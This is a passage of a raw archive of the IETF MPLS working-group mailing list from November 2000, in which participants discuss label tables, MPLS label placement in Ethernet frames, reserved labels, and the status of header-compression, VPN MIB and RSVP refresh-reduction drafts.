[153.39.51.35]) id QQjovt21139; Sat, 11 Nov 2000 13:21:08 GMT Received: by mail-control.mail.uu.net id QQjovt14394 for mpls-outgoing; Sat, 11 Nov 2000 13:20:40 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjovt14389 for ; Sat, 11 Nov 2000 13:20:39 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjovt09753 for ; Sat, 11 Nov 2000 13:20:08 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjovt19686 for ; Sat, 11 Nov 2000 13:20:07 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA04143 for mpls@uu.net; Sat, 11 Nov 2000 08:20:07 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjovt14353 for ; Sat, 11 Nov 2000 13:19:51 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjovt05834 for ; Sat, 11 Nov 2000 13:19:37 GMT Received: from sj-msg-core-1.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjovt11575 for ; Sat, 11 Nov 2000 13:19:37 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id FAA23619; Sat, 11 Nov 2000 05:19:40 -0800 (PST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id AAZ38654; Sat, 11 Nov 2000 08:09:17 -0500 (EST) Message-Id: <4.3.2.7.2.20001111080609.04ac13c0@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 11 Nov 2000 08:07:07 -0500 To: Maksymilian Milkowski From: "Thomas D. Nadeau" Subject: Re: Table Cc: mpls@UU.NET In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk To which table do you refer? The one in the LSR MIB or some other table? --Tom >Good day, >I'm last year student, doing some research about MPLS architecture. >I have one question about table maintained by LSR, indexed by incoming >label - when and how this table is being constructed ? > >Thanks a lot, >Maksymilian Milkowski From owner-mpls@UU.NET Sat Nov 11 09:35:29 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA19117 for ; Sat, 11 Nov 2000 09:35:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjovy13151; Sat, 11 Nov 2000 14:34:14 GMT Received: by mail-control.mail.uu.net id QQjovy29957 for mpls-outgoing; Sat, 11 Nov 2000 14:33:48 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjovy29952 for ; Sat, 11 Nov 2000 14:33:46 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjovy01997 for ; Sat, 11 Nov 2000 14:32:51 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjovy26805 for ; Sat, 11 Nov 2000 14:32:50 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id XAA09717; Sat, 11 Nov 2000 23:33:59 +0900 (KST) X-OpenMail-Hops: 2 Date: Sat, 11 Nov 2000 23:33:13 +0900 Message-Id: In-Reply-To: <4.3.2.7.2.20001111080609.04ac13c0@bucket.cisco.com> Subject: (Reply) Re: Table MIME-Version: 1.0 TO: mpls@UU.NET, tnadeau@cisco.com Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Sat, 11 Nov 2000 23:19:28 +0900" ;Modification-Date="Sat, 11 Nov 2000 23:33:08 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi Maksymilian Milkowski, I think u r asking about the L2 switching matrix (table). If this is the one.... Assume LSR uses DoD + Independent mode Once an LSR gets a LabelReq message from its Upstream peer, LSR requests its L2 link for a label. If the link is ATM, ATM takes a label from its label pool and constructs an entry in its Switching matrix and gives the same label to the LSR LSR distributes the same label to the Requested peer. If LSR is a transit.... It distributes a label maaping to the upstream (above)...Incoming label and gets a label mapping from its downstream peer....Once it gets a mapping it will pass this mapping to its L2 link and L2 will add an entry to its switching tabel......Outgoing label So.... Hope it helps u. Seenu Samsung India Software Operations Bangalore, India ph : 5550555 ext:268 > To which table do you refer? The one in the >LSR MIB or some other table? > > --Tom > >>Good day, >>I'm last year student, doing some research about MPLS architecture. >>I have one question about table maintained by LSR, indexed by incoming >>label - when and how this table is being constructed ? >> >>Thanks a lot, >>Maksymilian Milkowski From owner-mpls@UU.NET Sat Nov 11 10:12:30 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA00864 for ; Sat, 11 Nov 2000 10:12:30 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjowa02973; Sat, 11 Nov 2000 15:11:22 GMT Received: by mail-control.mail.uu.net id QQjowa13097 for mpls-outgoing; Sat, 11 Nov 2000 15:10:54 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjowa13072 for ; Sat, 11 Nov 2000 15:10:47 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjowa26828 for ; Sat, 11 Nov 2000 15:10:24 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjowa16736 for ; Sat, 11 Nov 2000 15:10:22 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id AAA17955; Sun, 12 Nov 2000 00:11:31 +0900 (KST) X-OpenMail-Hops: 2 Date: Sun, 12 Nov 2000 00:10:43 +0900 Message-Id: In-Reply-To: <3A0BC5C0.E8D8E493@ieee.org> Subject: (Reply) Request for Advise... MIME-Version: 1.0 TO: mpls@UU.NET, srelan@ieee.org Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Sat, 11 Nov 2000 23:46:25 +0900" ;Modification-Date="Sun, 12 Nov 2000 00:10:33 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Hi Sandeep, The frame encapsulation for ethernet over MPLS at L2 is: | L2 header | MPLS label stack | L3 header| .....| Yes. The way u r following is correct. The label stack entries MUST immediately precede the network layer header, and MUST follow any data link layer headers, including, e.g., any VLAN headers, 802.1Q headers, etc. that may exist. The ethertype values can be used with either the ethernet encapsulation or the 802.3 SNAP/SAP encapsulation to carry labeled packets. Seenu Samsung India Software Operations Level 7, Prestige Meridian - II M.G.Road Bangalore Dear Friends, I would highly appreciate if you could please help me out in resolving my doubt about Position of MPLS Label in an Ethernet Lan environment. (Especially in the case of 802.3 LLC / SNAP). With reference to the following doc.: draft-ietf-mpls-label-encaps-08.txt Section 5: (page18) states the following: ----------------------------------------- The label stack entries immediately precede the network layer header, and follow any data link layer headers, including, e.g., any 802.1Q headers that may exist. ........... ....... .......... ....... These ethertype values can be used with either the ethernet encapsulation or the 802.3 LLC/SNAP encapsulation to carry labeled packets. ------------------------------------------------------------------------------- The Doubt I have is: Q1.: Does it mean that mpls label " MUST " precede before the IP Network Packet ? Q2. : If Answer to Q1 is Yes, then in case of 802.3 LLC/SNAP, Does it mean that the mpls label "MUST" come after the SNAP type field, in the order as depicted below ? [ 12 bytes of MAC Address] --> [4 bytes of 802.1Q : optional] --> [2 bytes of Length / type field] --> [6 bytes of 802.2 LLC / SNAP] --> [2 bytes of MPLS ethernet Type] --> [ MPLS labels] --> [IP Packet] Appreciate your kind help becuase I want to be fully sure about it in 802.3 LLC/SNAP case. Thanks a lot Sandeep ------------------------------------------------------------------------------------ Sandeep Relan Senior Member Technical Staff, INTEL (software and silicon systems), E-mail : srelan@ieee.org Phone : +91-80-5550888 Fax : +91-80-5550718 5th Floor, Prestige Meridian -I, 29, M.G. Road, Bangalore -560001, INDIA ------------------------------------------------------------------------------------ From owner-mpls@UU.NET Sun Nov 12 13:49:44 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA00494 for ; Sun, 12 Nov 2000 13:49:44 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpah19393; Sun, 12 Nov 2000 18:48:48 GMT Received: by mail-control.mail.uu.net id QQjpah19336 for mpls-outgoing; Sun, 12 Nov 2000 18:48:26 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpah19331 for ; Sun, 12 Nov 2000 18:48:22 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpah26473 for ; Sun, 12 Nov 2000 18:47:13 GMT Received: from ertpg14e1.nortelnetworks.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ertpg14e1.nortelnetworks.com [47.234.0.35]) id QQjpah12898 for ; Sun, 12 Nov 2000 18:47:13 GMT Received: from zrtpd004.us.nortel.com (actually zrtpd004) by ertpg14e1.nortelnetworks.com; Sun, 12 Nov 2000 13:47:05 -0500 Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id ; Sun, 12 Nov 2000 13:47:06 -0500 Message-ID: From: "Goran Janevski" To: mpls@UU.NET Subject: Status of Date: Sun, 12 Nov 2000 13:47:03 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.35) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C04CD8.F2F6EE90" Sender: owner-mpls@UU.NET Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C04CD8.F2F6EE90 Content-Type: text/plain; charset="iso-8859-1" I have been trying to get a definitive answer on this, without any success. I got a couple of conflicting answers from a couple of sources ("it's been accepted", "the WG hasn 't gotten around to looking at it"), plus I found the blurb below in the 47th IETF MPLS minutes. Subsequently to that, there are some emails discussing the IP/MPLS Header compression drafts in the July mailing list archive, with passing references to -simple, but again, no indication what the status of it is. Meanwhile, the draft seems to have expired; too bad, I thought it was a pretty elegant/simple idea, it was end-to-end, and did not have to be on top of PPP. Could anyone _please_ shed some light on this? Thanks, Goran From 47th IETF MPLS WG minutes: ========================== 'Simple Header Compression', , George Swallow George Swallow enumerated the motivating factors that lead to this work. Namely, that in VoIP, headers account for a significant portion of the packet. And, for networks in which voice traffic dominates, significant bandwidth savings can be achieved by compressing headers. He then remarked that a trade-off between less bandwidth efficiency for better processing efficiency exists. He went on to say that this could be done from access point to access point, where allowing compression on access links without requiring edge routers to perform header compression. He also stated that the same techniques are being employed in PacketCable. Further, he described the actual compression technique, mentioning that the technique operates without the need for re-synchronization, that the MPLS label serves as the Context ID, and so forth. George then proceeded to list some draft refinements. Namely, he noted that 3 flags were used for MPLS TTL, inferring length from received MTU, and for re-computing checksum. And, he also mentioned that the SCID (Sub-context ID) had two purposes: 1) to allow multiplexing across an LSP, and 2) to handle simple format variations in a packet stream. During the Q/A period, Shahram Davari asked how does this technique handles label merging? George's response was that the setup was accomplished via RSVP signaling, thus, merging is not permitted. George Swallow then posed a question to Rob Coltun, who is the Area Director of the Routing Area. He asked what should be done with the draft he presented as well as Lou Berger's draft on the same subject. Rob's initial response was to defer that decision until VoMPLS BOF. Lou Berger then mentioned that the generic header compression schemes are not MPLS specific, thus, he had a 'strong opinion' that this work should reside in the IETF Generic WG. Rob then inquired about the operational demand for this work. Finally, it was decided that this work will be done in the MPLS WG and that it will be described in the MPLS WG charter. Goran Janevski email: goranj@nortelnetworks.com Wireless Access IP Technology phone: 613 765-3544 (ESN 39) Wireless Technology Labs fax: 613 763-2686 ------_=_NextPart_001_01C04CD8.F2F6EE90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Status of = <draft-swallow-mpls-simple-hdr-compress-00.txt>

I have been trying to get a definitive = answer on this, without any success.  I got a couple of = conflicting answers from a couple of sources ("it's been = accepted", "the WG hasn 't gotten around to looking at = it"), plus I found the blurb below in the 47th IETF MPLS = minutes.  Subsequently to that, there are some emails discussing = the IP/MPLS Header compression drafts in the July mailing list archive, = with passing references to -simple, but again, no indication what the = status of it is.

Meanwhile, the draft seems to have = expired;  too bad, I thought it was a pretty elegant/simple idea, = it was end-to-end, and did not have to be on top of PPP.

Could anyone _please_ shed some light = on this?

Thanks,
Goran

From 47th IETF MPLS WG minutes:
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D
'Simple Header Compression', = <draft-swallow-mpls-simple-hdr-compress-00.txt>, George Swallow =

George Swallow enumerated the = motivating factors that lead to this work.  Namely, that in VoIP, = headers account for a significant portion of the packet. And, for = networks in which voice traffic dominates, significant bandwidth = savings can be achieved by compressing headers. He then remarked that a = trade-off between less bandwidth efficiency for better processing = efficiency exists.  He went on to say that this could be done from = access point to access point, where allowing compression on access = links without requiring edge routers to perform header = compression.  He also stated that the same techniques are being = employed in PacketCable.

Further, he described the actual = compression technique, mentioning that the technique operates without = the need for re-synchronization, that the MPLS label serves as the = Context ID, and so forth. 

George then proceeded to list some = draft refinements.  Namely, he noted that 3 flags were used for = MPLS TTL, inferring length from received MTU, and for re-computing = checksum.  And, he also mentioned that the SCID (Sub-context ID) = had two purposes: 1) to allow multiplexing across an LSP, and 2) to = handle simple format variations in a packet stream.

During the Q/A period, Shahram Davari = asked how does this technique handles label merging? George's response = was that the setup was accomplished via RSVP signaling, thus, merging = is not permitted.

George Swallow then posed a question = to Rob Coltun, who is the Area Director of the Routing Area. He asked = what should be done with the draft he presented as well as Lou Berger's = draft on the same subject. Rob's initial response was to defer that = decision until VoMPLS BOF.  Lou Berger then mentioned that the = generic header compression schemes are not MPLS specific, thus, he had = a 'strong opinion' that this work should reside in the IETF Generic = WG.  Rob then inquired about the operational demand for this = work.  Finally, it was decided that this work will be done in the = MPLS WG and that it will be described in the MPLS WG charter. =


Goran = Janevski            &n= bsp;           &n= bsp;           &n= bsp;   email: goranj@nortelnetworks.com
Wireless = Access IP = Technology          &n= bsp;          &= nbsp; = phone: 613 765-3544 (ESN 39)
Wireless = Technology Labs           &n= bsp;           &n= bsp;    fax:   613 763-2686


------_=_NextPart_001_01C04CD8.F2F6EE90-- From owner-mpls@UU.NET Sun Nov 12 22:39:12 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA07187 for ; Sun, 12 Nov 2000 22:39:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpbq05900; Mon, 13 Nov 2000 03:37:58 GMT Received: by mail-control.mail.uu.net id QQjpbq00660 for mpls-outgoing; Mon, 13 Nov 2000 03:37:26 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpbq00653 for ; Mon, 13 Nov 2000 03:37:09 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpbq28051 for ; Mon, 13 Nov 2000 03:36:33 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpbq03613 for ; Mon, 13 Nov 2000 03:36:30 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id WAA28066 for mpls@uu.net; Sun, 12 Nov 2000 22:36:30 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjpbq00510 for ; Mon, 13 Nov 2000 03:35:51 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpbq26144 for ; Mon, 13 Nov 2000 03:35:45 GMT Received: from rtp-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: rtp-msg-core-1.cisco.com [161.44.11.97]) id QQjpbq11593 for ; Mon, 13 Nov 2000 03:35:44 GMT Received: from bucket.cisco.com (bucket.cisco.com [161.44.131.26]) by rtp-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id WAA06917; Sun, 12 Nov 2000 22:33:37 -0500 (EST) Received: from TNADEAU-PC02.cisco.com ([161.44.204.102]) by bucket.cisco.com (Mirapoint) with ESMTP id ABB02214; Sun, 12 Nov 2000 22:35:15 -0500 (EST) Message-Id: <4.3.2.7.2.20001112222214.01664258@bucket.cisco.com> X-Sender: tnadeau@bucket.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sun, 12 Nov 2000 22:33:03 -0500 To: mpls@UU.NET, nbvpn@bbo.com From: "Thomas D. Nadeau" Subject: MPLS-VPN-MIB Cc: "'Joseph Dube'" , "'Fabio Chiussi'"@cisco.com, , Stephen.Brannon@swisscom.com, brannon@ip-plus.net, "Fang, Luyuan, ALSVC" Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-mpls@UU.NET Precedence: bulk FYI... Title : MPLS/BGP Virutal Private Network Management Information Base Using SMIv2 Author(s) : T. Nadeau, L. Fang, F. Chiussi, S. Brannon, J. Dube Filename : draft-nadeau-mpls-vpn-mib-00.txt Pages : 28 Date : 10-Nov-00 Abstract This memo defines an experimental portion of the Management Information Base (MIB) for use with network management protocols in the Internet community. In particular, in response to customer demands and strong input from vendors, it describes managed objects for modeling and managing Multi-Protocol Label Switching(MPLS) [MPLSArch]/Border Gateway Protocol (BGP) Virtual Private Networks(VPNs) [RFC2547bis]. This document is currently available at ftp-eng.cisco.com/tnadeau/draft-nadeau-mpls-vpn-mib-00.txt until such time as it is available via the IETF drafts repository. From owner-mpls@UU.NET Sun Nov 12 22:50:05 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA09537 for ; Sun, 12 Nov 2000 22:50:05 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpbr01292; Mon, 13 Nov 2000 03:48:47 GMT Received: by mail-control.mail.uu.net id QQjpbr01440 for mpls-outgoing; Mon, 13 Nov 2000 03:48:26 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjpbr01435 for ; Mon, 13 Nov 2000 03:48:18 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpbr21657 for ; Mon, 13 Nov 2000 03:47:59 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpbr29924 for ; Mon, 13 Nov 2000 03:47:59 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id WAA28729 for mpls@uu.net; Sun, 12 Nov 2000 22:47:58 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpbr01408 for ; Mon, 13 Nov 2000 03:47:28 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpbr25299 for ; Mon, 13 Nov 2000 03:46:14 GMT Received: from zrtps06s.us.nortel.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [47.140.48.50]) id QQjpbr26944 for ; Mon, 13 Nov 2000 03:46:00 GMT Received: from zbl6c016.corpeast.baynetworks.com by zrtps06s.us.nortel.com; Sun, 12 Nov 2000 22:40:35 -0500 Received: from zbl6c002.corpeast.baynetworks.com ([132.245.205.52]) by zbl6c016.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id WSR90ZPN; Sun, 12 Nov 2000 22:40:33 -0500 Received: from nortelnetworks.com (dhcp220-147.engeast.baynetworks.com [192.32.220.147]) by zbl6c002.corpeast.baynetworks.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2652.39) id VDZZFQ87; Sun, 12 Nov 2000 22:40:32 -0500 Message-ID: <3A0F6394.5508061A@nortelnetworks.com> Date: Sun, 12 Nov 2000 22:44:20 -0500 X-Sybari-Space: 00000000 00000000 00000000 From: "Dave Wilder" Organization: Nortel Networks X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: mpls@UU.NET Subject: RSVP Refresh Reduction Draft References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Orig: Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Can anyone provide an update on the draft below? It seemed like a well-written draft, but I lost track of what happened to it. Thanks, Dave To: IETF-Announce: ; >Cc: rsvp@isi.edu >From: The IESG >SUBJECT: Last Call: RSVP Refresh Overhead Reduction Extensions to > Proposed Standard >Reply-to: iesg@ietf.org >Date: Wed, 15 Mar 2000 13:08:21 -0500 >Sender: scoya@cnri.reston.va.us > > >The IESG has received a request from the Resource Reservation Setup >Protocol Working Group to consider RSVP Refresh Overhead Reduction >Extensions as a Proposed >Standard. > >The IESG plans to make a decision in the next few weeks, and solicits >final comments on this action. Please send any comments to the >iesg@ietf.org or ietf@ietf.org mailing lists by April 5, 2000. > >Files can be obtained via >http://www.ietf.org/internet-drafts/draft-ietf-rsvp-refresh-reduct-03.txt From owner-mpls@UU.NET Mon Nov 13 03:54:24 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA09976 for ; Mon, 13 Nov 2000 03:54:24 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpcl18404; Mon, 13 Nov 2000 08:53:17 GMT Received: by mail-control.mail.uu.net id QQjpcl14476 for mpls-outgoing; Mon, 13 Nov 2000 08:52:46 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpcl14471 for ; Mon, 13 Nov 2000 08:52:38 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjpcl27802 for ; Mon, 13 Nov 2000 08:52:21 GMT From: seenu@samsung.co.kr Received: from omail01.samsung.co.kr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omail01.samsung.co.kr [203.254.197.73]) id QQjpcl17096 for ; Mon, 13 Nov 2000 08:52:20 GMT Received: from localhost (root@localhost) by gp_xman. (8.8.8H1/8.8.8) with ESMTP id RAA24883; Mon, 13 Nov 2000 17:53:30 +0900 (KST) X-OpenMail-Hops: 2 Date: Mon, 13 Nov 2000 17:52:44 +0900 Message-Id: In-Reply-To: Subject: (Reply) Request for one more clarification on IP with MPLS MIME-Version: 1.0 TO: mpls@UU.NET, sandeep.relan@intel.com Content-Type: text/plain; charset=US-ASCII Content-Disposition: inline; filename="mail.txt" ;Creation-Date="Mon, 13 Nov 2000 17:11:24 +0900" ;Modification-Date="Mon, 13 Nov 2000 17:52:30 +0900" Content-Transfer-Encoding: 8bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 8bit Dear Sandeep, Based on the last Label Stack Entry (with S bit set to 1), in the label stack, you can get the L3 Address family. At present we can come to know only whether the family is IPv4 or IPv6. When the architecture supports other L3 Address families we may have some more reserved labels. The following are the reserved labels, which are used at the bottom of the label stack, based on which we can guess the L3 address family. 2.1. Encoding the Label Stack: A value of 0 represents the "IPv4 Explicit NULL Label". This label value is only legal at the bottom of the label stack. It indicates that the label stack must be popped, and the forwarding of the packet must then be based on the IPv4 header. A value of 2 represents the "IPv6 Explicit NULL Label". This label value is only legal at the bottom of the label stack. It indicates that the label stack must be popped, and the forwarding of the packet must then be based on the IPv6 header Please also refer the section : 2.2. Determining the Network Layer Protocol (mpls-ldp-label-encaps-08.txt) For other doubts see the inline messages. Hope it helps u. If I am wrong please correct me. Regards Seenu Samsung India Software Operations Level 7, Prestige Meridian - II M.G.Road Bangalore > > >Dear John Runham, Ramanjaneyulu and Seenu, > >Thank you to all of you for the prompt and detailed >clarifications.!! > > Now, I have come across another basic doubt. > I noticed that the mpls draft : > > draft-ietf-mpls-label-encaps-08.txt > > does not address the Ethernet - IP type field > presence after MPLS labels : > > |---------------------------------| > | L2 | MPLS | IP Header | > |---------------------------------| > > > In standard Ethernet-II or 802.3 LLC/SNAP (non-MPLS) > switching / routing, the Type field "0x800" comes after > the L2 header, which indicates that it is an IP packet. > ---> Since L3 address family can be anything (Multi Protocol ...!!!!) no need to have 0x800 field, which identifies only IP packet. > But, in case of MPLS switched packets : > > Q1. Will the IP header after the MPLS, contain 2 bytes > of Type field (0x800) in the begining of IP Header...?? > ----> No. > or > > Q2. For MPLS packets, Is IP the implicit protocol supported ..?? > Thereby no type field is required after the MPLS labels and > the bytes after MPLS labels "MUST" be the IP Header without > type field !! > > -----> No. IP can't be the implicit L3 protocol. Please refer the above explanation. > Thanking you all for your kind help. > > - Sandeep From owner-mpls@UU.NET Mon Nov 13 08:03:29 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA20336 for ; Mon, 13 Nov 2000 08:03:28 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjpdc24011; Mon, 13 Nov 2000 13:02:00 GMT Received: by mail-control.mail.uu.net id QQjpdc19885 for mpls-outgoing; Mon, 13 Nov 2000 13:01:33 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjpdc19583 for ; Mon, 13 Nov 2000 13:01:28 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjpdc25205 for ; Mon, 13 Nov 2000 13:01:20 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjpdc20434 for ; Mon, 13 Nov 2000 13:01:20 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id IAA20783 for mpls@uu.net; Mon, 13 Nov 2000 08:01:19 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjpdc16912 for ; Mon, 13 Nov 2000 13:00:53 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjpdb03166 for ; Mon, 13 